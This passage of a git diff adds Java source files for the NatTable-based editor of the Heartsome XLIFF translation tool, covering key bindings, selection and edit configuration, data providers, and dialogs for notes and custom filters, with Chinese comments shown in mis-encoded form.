æ—¶ï¼Œè¿›å…¥ç¼–è¾‘çŠ¶æ€ + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.NONE, SWT.F2), action); + // 在用户点击 whitespace é”®æ—¶ï¼Œè¿›å…¥ç¼–è¾‘çŠ¶æ€ + uiBindingRegistry.registerKeyBinding(new IKeyEventMatcher() { + public boolean matches(KeyEvent event) { + return event.character == ' '; + } + }, action); + // 在用户输入字æ¯æˆ–æ•°å­—æ—¶ï¼Œè¿›å…¥ç¼–è¾‘çŠ¶æ€ + uiBindingRegistry.registerKeyBinding(new LetterOrDigitKeyEventMatcher(), action); + // 在用户å•å‡»æ—¶ï¼Œè¿›å…¥ç¼–è¾‘çŠ¶æ€ + uiBindingRegistry.registerFirstMouseDownBinding(MouseEventMatcher.bodyLeftClick(SWT.NONE), new MouseEditAction()); + uiBindingRegistry.unregisterMouseDragMode(MouseEventMatcher.bodyLeftClick(SWT.NONE)); + } + }); + } + + /** + * Editing Handler é…ç½® ; + */ + protected void addEditingHandlerConfig() { + addConfiguration(new XLIFFEditorEditConfiguration(xliffEditor)); + } + + /** + * 表格中的æ¯è¡Œæ•°æ®ä»¥ä¸åŒçš„颜色轮æµæ˜¾ç¤ºçš„é…ç½® + * @param gridLayer + * Grid Layer 对象 ; + */ + protected void addAlternateRowColoringConfig(CompositeLayer compositeLayer) { + DefaultRowStyleConfiguration configuration = new DefaultRowStyleConfiguration(); + configuration.oddRowBgColor = oddStyle.getAttributeValue(CellStyleAttributes.BACKGROUND_COLOR); + configuration.evenRowBgColor = evenStyle.getAttributeValue(CellStyleAttributes.BACKGROUND_COLOR); + addConfiguration(configuration); + compositeLayer.setConfigLabelAccumulatorForRegion(GridRegion.BODY, new AlternatingRowConfigLabelAccumulator()); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/config/XLIFFEditorEditConfiguration.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/config/XLIFFEditorEditConfiguration.java new file mode 100644 index 0000000..fdbd976 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/config/XLIFFEditorEditConfiguration.java @@ -0,0 +1,32 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.config; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.sourceforge.nattable.config.AbstractLayerConfiguration; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.config.IEditableRule; +import net.sourceforge.nattable.data.validate.DefaultDataValidator; +import net.sourceforge.nattable.edit.EditConfigAttributes; +import net.sourceforge.nattable.edit.command.EditCellCommandHandler; +import net.sourceforge.nattable.layer.CompositeLayer; + +public class XLIFFEditorEditConfiguration extends AbstractLayerConfiguration { + +// private XLIFFEditorImplWithNatTable xliffEditor; + + public XLIFFEditorEditConfiguration(XLIFFEditorImplWithNatTable xliffEditor) { +// this.xliffEditor = xliffEditor; + } + + @Override + public void configureTypedLayer(CompositeLayer compositeLayer) { + compositeLayer.registerCommandHandler(new EditCellCommandHandler()); + } + + @Override + public void configureRegistry(IConfigRegistry configRegistry) { + configRegistry.registerConfigAttribute(EditConfigAttributes.CELL_EDITABLE_RULE, IEditableRule.NEVER_EDITABLE); +// configRegistry.registerConfigAttribute(EditConfigAttributes.CELL_EDITOR, new StyledTextCellEditor(xliffEditor)); + configRegistry.registerConfigAttribute(EditConfigAttributes.DATA_VALIDATOR, new DefaultDataValidator()); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/config/XLIFFEditorSelectionLayerConfiguration.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/config/XLIFFEditorSelectionLayerConfiguration.java new file mode 100644 index 0000000..18b62d8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/config/XLIFFEditorSelectionLayerConfiguration.java @@ -0,0 +1,147 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.config; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.actions.MoveSelectionAction; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.actions.MoveToFirstRowAction; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.actions.MoveToLastRowAction; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.actions.PageDownAction; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.actions.PageUpAction; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.actions.SelectCellAction; +import net.sourceforge.nattable.config.AggregateConfiguration; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.copy.action.CopyDataAction; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.selection.config.DefaultMoveSelectionConfiguration; +import net.sourceforge.nattable.selection.config.DefaultSelectionBindings; +import net.sourceforge.nattable.selection.config.DefaultSelectionStyleConfiguration; +import net.sourceforge.nattable.tickupdate.config.DefaultTickUpdateConfiguration; +import net.sourceforge.nattable.ui.action.IKeyAction; +import net.sourceforge.nattable.ui.action.IMouseAction; +import net.sourceforge.nattable.ui.binding.UiBindingRegistry; +import net.sourceforge.nattable.ui.matcher.KeyEventMatcher; +import net.sourceforge.nattable.ui.matcher.MouseEventMatcher; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.Display; + +public class XLIFFEditorSelectionLayerConfiguration extends AggregateConfiguration{ + public XLIFFEditorSelectionLayerConfiguration() { + addSelectionStyleConfig(); + addSelectionUIBindings(); + addTickUpdateConfig(); + addMoveSelectionConfig(); + } + + protected void addSelectionStyleConfig() { + // 去掉表头选中样å¼å’Œé€‰ä¸­å•å…ƒæ ¼æ ·å¼ + DefaultSelectionStyleConfiguration configure = new DefaultSelectionStyleConfiguration(){ + @Override + protected void configureHeaderHasSelectionStyle(IConfigRegistry configRegistry) { + } + @Override + protected void configureHeaderFullySelectedStyle(IConfigRegistry configRegistry) { + } + @Override + protected void configureSelectionAnchorStyle(IConfigRegistry configRegistry) { + } + }; + configure.selectionBgColor=GUIHelper.getColor(210, 210, 240);//Display.getCurrent().getSystemColor(SWT.COLOR_LIST_SELECTION); + configure.selectionFgColor=Display.getCurrent().getSystemColor(SWT.COLOR_BLACK); + addConfiguration(configure); + } + + /** + * + * @see XLIFFEditorCompositeLayerConfiguration#addEditingUIConfig() + * ; + */ + protected void addSelectionUIBindings() { + addConfiguration(new DefaultSelectionBindings() { + + public void configureUiBindings(UiBindingRegistry uiBindingRegistry) { + // Move up + configureMoveUpBindings(uiBindingRegistry, new MoveSelectionAction(MoveDirectionEnum.UP)); + + // Move down + configureMoveDownBindings(uiBindingRegistry, new MoveSelectionAction(MoveDirectionEnum.DOWN)); + +// // Move left +// configureMoveLeftBindings(uiBindingRegistry, new MoveSelectionAction(MoveDirectionEnum.LEFT)); +// +// // Move right +// configureMoveRightBindings(uiBindingRegistry, new MoveSelectionAction(MoveDirectionEnum.RIGHT)); + + // Page Up + PageUpAction pageUpAction = new PageUpAction(); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.NONE, SWT.PAGE_UP), pageUpAction); + + // Page down + PageDownAction pageDownAction = new PageDownAction(); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.NONE, SWT.PAGE_DOWN), pageDownAction); + + // Home - Move to first column +// configureHomeButtonBindings(uiBindingRegistry, new MoveToFirstColumnAction()); + + // End - Move to last column +// configureEndButtonBindings(uiBindingRegistry, new MoveToLastColumnAction()); + +// // Select all +// uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CONTROL, 'a'), new SelectAllAction()); + + // Copy + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CONTROL, 'c'), new CopyDataAction()); + + // Mouse bindings - select Cell + configureBodyMouseClickBindings(uiBindingRegistry); + + // Mouse bindings - select columns + configureColumnHeaderMouseClickBindings(uiBindingRegistry); + + // Mouse bindings - select rows + configureRowHeaderMouseClickBindings(uiBindingRegistry); + + // Mouse bindings - Drag + configureBodyMouseDragMode(uiBindingRegistry); + } + + @Override + protected void configureMoveUpBindings(UiBindingRegistry uiBindingRegistry, IKeyAction action) { + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.NONE, SWT.ARROW_UP), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CONTROL, SWT.HOME), new MoveToFirstRowAction()); + } + + @Override + protected void configureMoveDownBindings(UiBindingRegistry uiBindingRegistry, IKeyAction action) { + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.NONE, SWT.ARROW_DOWN), action); + uiBindingRegistry.registerKeyBinding(new KeyEventMatcher(SWT.CONTROL, SWT.END), new MoveToLastRowAction()); + } + + @Override + protected void configureBodyMouseClickBindings(UiBindingRegistry uiBindingRegistry) { + // (1)按下 Ctrl é”®ã€Shift 键或者åŒæ—¶æŒ‰ä¸‹ä¸¤è€…,则执行选中该行。 + // (2)åªé¼ æ ‡å•å‡»åˆ™è¿›å…¥ç¼–辑模å¼ï¼šè§ XLIFFEditorCompositeLayerConfiguration#addEditingUIConfig() + IMouseAction action = new SelectCellAction(); + uiBindingRegistry.registerFirstSingleClickBinding(MouseEventMatcher.bodyLeftClick(SWT.SHIFT), action); + uiBindingRegistry.registerFirstSingleClickBinding(MouseEventMatcher.bodyLeftClick(SWT.CTRL), action); +// uiBindingRegistry.registerFirstSingleClickBinding(MouseEventMatcher.bodyLeftClick(SWT.SHIFT | SWT.CONTROL), action); + } + + @Override + protected void configureBodyMouseDragMode(UiBindingRegistry uiBindingRegistry) { +// CellSelectionDragMode dragMode = new CellSelectionDragMode(); +// uiBindingRegistry.registerMouseDragMode(MouseEventMatcher.bodyLeftClick(SWT.NONE), dragMode); +// uiBindingRegistry.registerMouseDragMode(MouseEventMatcher.bodyLeftClick(SWT.SHIFT), dragMode); +// uiBindingRegistry.registerMouseDragMode(MouseEventMatcher.bodyLeftClick(SWT.CONTROL), dragMode); +// uiBindingRegistry.registerMouseDragMode(MouseEventMatcher.bodyLeftClick(SWT.SHIFT | SWT.CONTROL), dragMode); + } + }); + } + + protected void addTickUpdateConfig() { + addConfiguration(new DefaultTickUpdateConfiguration()); + } + + protected void addMoveSelectionConfig() { + addConfiguration(new DefaultMoveSelectionConfiguration()); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/dataprovider/VerticalLayerBodyDataProvider.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/dataprovider/VerticalLayerBodyDataProvider.java new file mode 100644 index 0000000..e5b3e3d --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/dataprovider/VerticalLayerBodyDataProvider.java @@ -0,0 +1,81 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.dataprovider; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import net.heartsome.cat.ts.core.bean.TransUnitBean; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.config.VerticalNatTableConfig; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages; +import net.sourceforge.nattable.data.IColumnAccessor; +import net.sourceforge.nattable.data.ISpanningDataProvider; +import net.sourceforge.nattable.layer.cell.DataCell; + +public class VerticalLayerBodyDataProvider extends XliffEditorDataProvider implements ISpanningDataProvider { + + private static final Logger LOGGER = LoggerFactory.getLogger(XLIFFEditorImplWithNatTable.class); + + public VerticalLayerBodyDataProvider(XLFHandler handler, IColumnAccessor columnAccessor) { + super(handler, columnAccessor); + } + + @Override + public Object getDataValue(int columnIndex, int rowIndex) { + if (columnIndex == VerticalNatTableConfig.ID_COL_INDEX) { // ID 列 + if (rowIndex % VerticalNatTableConfig.ROW_SPAN == 0) { // 第一列è¦æ˜¾ç¤ºID的地方 + return rowIndex / VerticalNatTableConfig.ROW_SPAN + 1; + } + } else if (columnIndex == VerticalNatTableConfig.STATUS_COL_INDEX) { // 状æ€åˆ— + return "flag"; + } else { // Sourceå’ŒTarget列 + if (VerticalNatTableConfig.isSource(columnIndex, rowIndex)) { + return ((TransUnitBean) getRowObject(rowIndex)).getSrcContent(); + } else if (VerticalNatTableConfig.isTarget(columnIndex, rowIndex)) { + return ((TransUnitBean) getRowObject(rowIndex)).getTgtContent(); + } + } + return null; + } + + @Override + public int getRowCount() { + return super.getRowCount() * VerticalNatTableConfig.ROW_SPAN; + } + + @Override + public void setDataValue(int columnIndex, int rowIndex, Object newValue) { + if (columnIndex != VerticalNatTableConfig.SOURCE_COL_INDEX) { + LOGGER.debug(Messages.getString("dataprovider.VerticalLayerBodyDataProvider.logger1")); + } + if (rowIndex % 2 == 0) { + setSrcValue(rowIndex / VerticalNatTableConfig.ROW_SPAN, newValue); + } else { + setTgtValue(rowIndex / VerticalNatTableConfig.ROW_SPAN, newValue); + } + } + + @Override + public T getRowObject(int rowIndex) { + return super.getRowObject(rowIndex / VerticalNatTableConfig.ROW_SPAN); + } + + @Override + public int indexOfRowObject(T rowObject) { + // TODO 暂时用ä¸åˆ°ï¼Œæ— å®žçŽ° +// LOGGER.debug("此方法尚未实现。"); + return 0; + } + + public DataCell getCellByPosition(int columnPosition, int rowPosition) { + int rowSpan = 1; + // TODO 用索引æ¥åˆ¤æ–­ Position,å¯èƒ½ä¼šæœ‰é—®é¢˜ + if (columnPosition == VerticalNatTableConfig.ID_COL_INDEX + || columnPosition == VerticalNatTableConfig.STATUS_COL_INDEX) { + rowSpan = VerticalNatTableConfig.ROW_SPAN; + rowPosition = rowPosition / VerticalNatTableConfig.ROW_SPAN * VerticalNatTableConfig.ROW_SPAN; + } + return new DataCell(columnPosition, rowPosition, 1, rowSpan); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/dataprovider/XliffEditorDataProvider.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/dataprovider/XliffEditorDataProvider.java new file mode 100644 index 0000000..dec689b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/dataprovider/XliffEditorDataProvider.java @@ -0,0 +1,117 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.dataprovider; + +import net.heartsome.cat.ts.core.bean.TransUnitBean; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.UpdateDataBean; +import net.sourceforge.nattable.data.IColumnAccessor; +import net.sourceforge.nattable.data.IRowDataProvider; + +public class XliffEditorDataProvider implements IRowDataProvider { + private XLFHandler handler; + + private static final int CACHE_SIZE = 200; + + public XLFHandler getHandler() { + return handler; + } + + private IColumnAccessor columnAccessor; + + public XliffEditorDataProvider(XLFHandler handler, IColumnAccessor columnAccessor) { + this.handler = handler; + this.columnAccessor = columnAccessor; + } + + @SuppressWarnings("unchecked") + public T getRowObject(final int rowIndex) { + T obj = (T) handler.getCacheMap().get(rowIndex); + if (obj == null) { + obj = (T) handler.getTransUnit(rowIndex); + cache(rowIndex, obj); // 缓存æ“作 + } + return obj; + } + + /** + * 缓存当å‰é¡µ + * @param key + * @param value + * ; + */ + private void cache(final int key, T value) { + if (handler.getCacheMap().size() > CACHE_SIZE) { + // 清空缓存 + handler.resetCache(); + } else { + handler.getCacheMap().put(key, (TransUnitBean) value); + } + } + + public int indexOfRowObject(T rowObject) { + // TODO 暂时用ä¸åˆ°ï¼Œæ— å®žçŽ° + return 0; + } + + public int getColumnCount() { + return columnAccessor.getColumnCount(); + } + + public Object getDataValue(int columnIndex, int rowIndex) { + if (columnIndex == 0) { + return rowIndex + 1; + } else if (columnIndex == 1) { // 获å–Source列的值 +// T obj = (T) handler.getCacheMap().get(rowIndex); +// if (obj != null) { +// return ((TransUnitBean) obj).getSrcContent(); +// } else { +// String rowId = handler.getRowId(rowIndex); +// return handler.getSrcContent(rowId); +// } + T obj = getRowObject(rowIndex); + if (obj != null) { + return ((TransUnitBean) obj).getSrcContent(); + } else { + return null; + } + } else if (columnIndex == 3) { // 获å–Target列的值 +// T obj = (T) handler.getCacheMap().get(rowIndex); +// if (obj != null) { +// return ((TransUnitBean) obj).getTgtContent(); +// } else { +// String rowId = handler.getRowId(rowIndex); +// return handler.getTgtContent(rowId); +// } + T obj = getRowObject(rowIndex); + if (obj != null) { + return ((TransUnitBean) obj).getTgtContent(); + } else { + return null; + } + } else { + return columnAccessor.getDataValue(getRowObject(rowIndex), columnIndex); + } + } + + public int getRowCount() { + return handler.countEditableTransUnit(); + } + + public void setDataValue(int columnIndex, int rowIndex, Object newValue) { + if (columnIndex == 1) { // 修改Source列 + setSrcValue(rowIndex, newValue); + } + if (columnIndex == 3) { // 修改Target列 + setTgtValue(rowIndex, newValue); + } + } + + protected void setSrcValue(int rowIndex, Object newValue) { + handler.changeSrcTextValue(handler.getRowId(rowIndex), ((UpdateDataBean) newValue).getText()); + } + + protected void setTgtValue(int rowIndex, Object newValue) { + UpdateDataBean bean = (UpdateDataBean) newValue; + handler.changeTgtTextValue(handler.getRowId(rowIndex), bean.getText(), bean.getMatchType(), bean.getQuality()); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/dialog/AddOrUpdateNoteDialog.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/dialog/AddOrUpdateNoteDialog.java new file mode 100644 index 0000000..4f529b5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/dialog/AddOrUpdateNoteDialog.java @@ -0,0 +1,143 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.util.DateUtils; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.ts.core.file.RowIdUtil; +import net.heartsome.cat.ts.ui.Activator; +import net.heartsome.cat.ts.ui.preferencepage.IPreferenceConstants; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.NatTableConstant; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +/** + * Nattable å³é”®èœå•ä¸­æ·»åŠ æ‰¹æ³¨å¯¹è¯æ¡† + * @author peason + * @version + * @since JDK1.6 + */ +public class AddOrUpdateNoteDialog extends Dialog { + + public static final int DIALOG_ADD = 0; + + public static final int DIALOG_EDIT = 1; + + private XLIFFEditorImplWithNatTable xliffEditor; + + /** 应用范围下拉框 */ + private Combo cmbRange; + + /** 属性 */ + private Text txtNote; + + private int addOrEditDialog; + + private String[] noteItem; + + public AddOrUpdateNoteDialog(Shell parentShell, XLIFFEditorImplWithNatTable xliffEditor, int addOrEditDialog, + String[] noteItem) { + super(parentShell); + this.xliffEditor = xliffEditor; + this.addOrEditDialog = addOrEditDialog; + this.noteItem = noteItem; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + if (addOrEditDialog == DIALOG_ADD) { + newShell.setText(Messages.getString("dialog.AddOrUpdateNoteDialog.title1")); + } else if (addOrEditDialog == DIALOG_EDIT) { + newShell.setText(Messages.getString("dialog.AddOrUpdateNoteDialog.title2")); + } + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridLayoutFactory.fillDefaults().numColumns(2).equalWidth(false).extendedMargins(5, 5, 5, 5).applyTo(tparent); + GridDataFactory.fillDefaults().hint(400, 170).grab(true, true).applyTo(tparent); + + if (addOrEditDialog == DIALOG_ADD) { + new Label(tparent, SWT.None).setText(Messages.getString("dialog.AddOrUpdateNoteDialog.label")); + cmbRange = new Combo(tparent, SWT.READ_ONLY); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(cmbRange); + cmbRange.setItems(new String[] { NatTableConstant.CURRENT_TEXT, NatTableConstant.ALL_TEXT }); + cmbRange.select(0); + } + + Group noteGroup = new Group(tparent, SWT.None); + noteGroup.setText(Messages.getString("dialog.AddOrUpdateNoteDialog.noteGroup")); + GridDataFactory.fillDefaults().span(2, 1).grab(true, true).applyTo(noteGroup); + // noteGroup.setForeground(Display.getCurrent().getSystemColor(SWT.COLOR_BLUE)); + noteGroup.setLayout(new GridLayout()); + txtNote = new Text(noteGroup, SWT.BORDER | SWT.WRAP | SWT.MULTI); + GridDataFactory.fillDefaults().grab(true, true).applyTo(txtNote); + if (addOrEditDialog == DIALOG_EDIT) { + txtNote.setText(noteItem[3]); + } + txtNote.forceFocus(); + return tparent; + } + + @Override + protected void okPressed() { + String strNote = txtNote.getText(); + if (strNote == null || strNote.equals("")) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.AddOrUpdateNoteDialog.msgTitle"), + Messages.getString("dialog.AddOrUpdateNoteDialog.msg")); + return; + } + String systemUser = Activator.getDefault().getPreferenceStore().getString(IPreferenceConstants.SYSTEM_USER); + String date = DateUtils.getStringDateShort(); + List lstRowId = new ArrayList(); +// Bug #2334:添加批注包å«ç‰¹æ®Šå­—符ä¿å­˜å¤±è´¥ + strNote = TextUtil.cleanSpecialString(strNote); + if (addOrEditDialog == DIALOG_ADD) { + int index = cmbRange.getSelectionIndex(); + boolean blnIsApplyCurrent = false; + if (index == 0) { + lstRowId = xliffEditor.getSelectedRowIds(); + blnIsApplyCurrent = true; + } else { + lstRowId = xliffEditor.getXLFHandler().getRowIds(); + } + Map> tmpGroup = RowIdUtil.groupRowIdByFileName(lstRowId); + xliffEditor.getXLFHandler().addNote(tmpGroup, DateUtils.getStringDateShort() + ":" + strNote, + systemUser, blnIsApplyCurrent); + } else if (addOrEditDialog == DIALOG_EDIT) { + if (noteItem[4].equalsIgnoreCase(NatTableConstant.CURRENT_TEXT)) { + lstRowId.add(xliffEditor.getSelectedRowIds().get(0)); + } else if (noteItem[4].equalsIgnoreCase(NatTableConstant.ALL_TEXT)) { + lstRowId = xliffEditor.getXLFHandler().getRowIds(); + } + StringBuffer oldNote = new StringBuffer(); + if (noteItem[2] != null && !noteItem[2].equals("")) { + oldNote.append(noteItem[2]).append(":"); + } + oldNote.append(noteItem[3]); + Map> tmpGroup = RowIdUtil.groupRowIdByFileName(lstRowId); + StringBuffer sbText = new StringBuffer(date); + sbText.append(":").append(strNote); + xliffEditor.getXLFHandler().updateNote(tmpGroup, noteItem[1], oldNote.toString(), systemUser, sbText.toString()); + } + close(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/dialog/CustomFilterDialog.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/dialog/CustomFilterDialog.java new file mode 100644 index 0000000..755809c --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/dialog/CustomFilterDialog.java @@ -0,0 +1,943 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog; + +import java.util.ArrayList; +import java.util.LinkedHashMap; +import java.util.Map; +import java.util.Map.Entry; +import java.util.TreeMap; + +import net.heartsome.cat.ts.core.file.IPreferenceConstants; +import net.heartsome.cat.ts.core.file.PreferenceStore; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.ScrolledComposite; +import org.eclipse.swt.events.FocusEvent; +import org.eclipse.swt.events.FocusListener; +import org.eclipse.swt.events.MouseAdapter; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.List; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IEditorReference; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; + +/** + * 定义自定义æ¡ä»¶ï¼Œç”ŸæˆåŠ¨æ€çš„自定义æ¡ä»¶çš„Xpath + * @author Leakey + * @version + * @since JDK1.6 + */ +public class CustomFilterDialog extends Dialog { + /** 自定义过滤器列表. */ + private List customFilterList; + /** 过滤器列表. */ + private Combo cmbFilter; + /** 对è¯æ¡†å†…容区域. */ + private Composite tParent; + + /** 自定义控件滚动æ¡å®¹å™¨. */ + private ScrolledComposite scroll; + /** 自定义控件容器. */ + private Composite dynaComp; + + /** 过滤器å称文本框. */ + private Text filterNameTxt; + /** 满足所有æ¡ä»¶æŒ‰é’®. */ + private Button andBtn; + /** 满足任一æ¡ä»¶æŒ‰é’®. */ + private Button orBtn; + + /** ç°è‰². */ + private Color gray; + /** 黑色. */ + private Color black; + + /** 属性åæ醒. */ + private final String initPropName = Messages.getString("dialog.CustomFilterDialog.initPropName"); + /** 属性值æ醒. */ + private final String initPropValue = Messages.getString("dialog.CustomFilterDialog.initPropValue"); + /** 一般文本框输入æ醒. */ + private final String initValue = Messages.getString("dialog.CustomFilterDialog.initValue"); + /** 验è¯å¤±è´¥. */ + private static final String RESULT_FAILED = "FAILED"; + + /** 首选项中ä¿å­˜çš„已有的自定义过滤æ¡ä»¶. */ + private LinkedHashMap customFilters = XLFHandler.getCustomFilterMap(); + + /** 首选项中ä¿å­˜çš„已有的自定义过滤æ¡ä»¶é™„加信æ¯. */ + private LinkedHashMap customFiltersAddition = XLFHandler.getCustomFilterAdditionMap(); + + /** 首选项中ä¿å­˜çš„已有的自定义过滤æ¡ä»¶ï¼ˆåˆ·æ–°ç•Œé¢ä½¿ç”¨ï¼‰. */ + private LinkedHashMap> customFiltersIndex = XLFHandler.getCustomFilterIndexMap(); + + /** + * @param shell + * @param cmbFilter + */ + public CustomFilterDialog(Shell shell, Combo cmbFilter) { + super(shell); + this.cmbFilter = cmbFilter; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.CustomFilterDialog.title")); + } + + @Override + protected Control createDialogArea(Composite parent) { + gray = parent.getDisplay().getSystemColor(SWT.COLOR_GRAY); + black = parent.getDisplay().getSystemColor(SWT.COLOR_BLACK); + tParent = (Composite) super.createDialogArea(parent); + GridLayoutFactory.swtDefaults().extendedMargins(5, 5, 10, 0).numColumns(2).equalWidth(false).applyTo(tParent); + tParent.setLayoutData(new GridData(GridData.FILL_BOTH)); + + Composite cmpLeft = new Composite(tParent, SWT.BORDER); + cmpLeft.setLayout(new GridLayout(2, false)); + GridDataFactory.swtDefaults().applyTo(cmpLeft); + Composite cmpList = new Composite(cmpLeft, SWT.NONE); + cmpList.setLayout(new GridLayout(1, true)); + cmpList.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + new Label(cmpList, SWT.NONE).setText(Messages.getString("dialog.CustomFilterDialog.c1Lbl")); + initCustomFilterList(cmpList); + + Composite cmpBtn = new Composite(cmpLeft, SWT.None); + cmpBtn.setLayout(new GridLayout()); + cmpBtn.setLayoutData(new GridData(SWT.CENTER, SWT.CENTER, false, false, 1, 1)); + + Button addCustom = new Button(cmpBtn, SWT.PUSH); + addCustom.setText(Messages.getString("dialog.CustomFilterDialog.addCustom")); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).applyTo(addCustom); + addCustom.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + if (isChange()) { + if (!MessageDialog.openConfirm(getShell(), "", Messages.getString("dialog.CustomFilterDialog.msg1"))) { 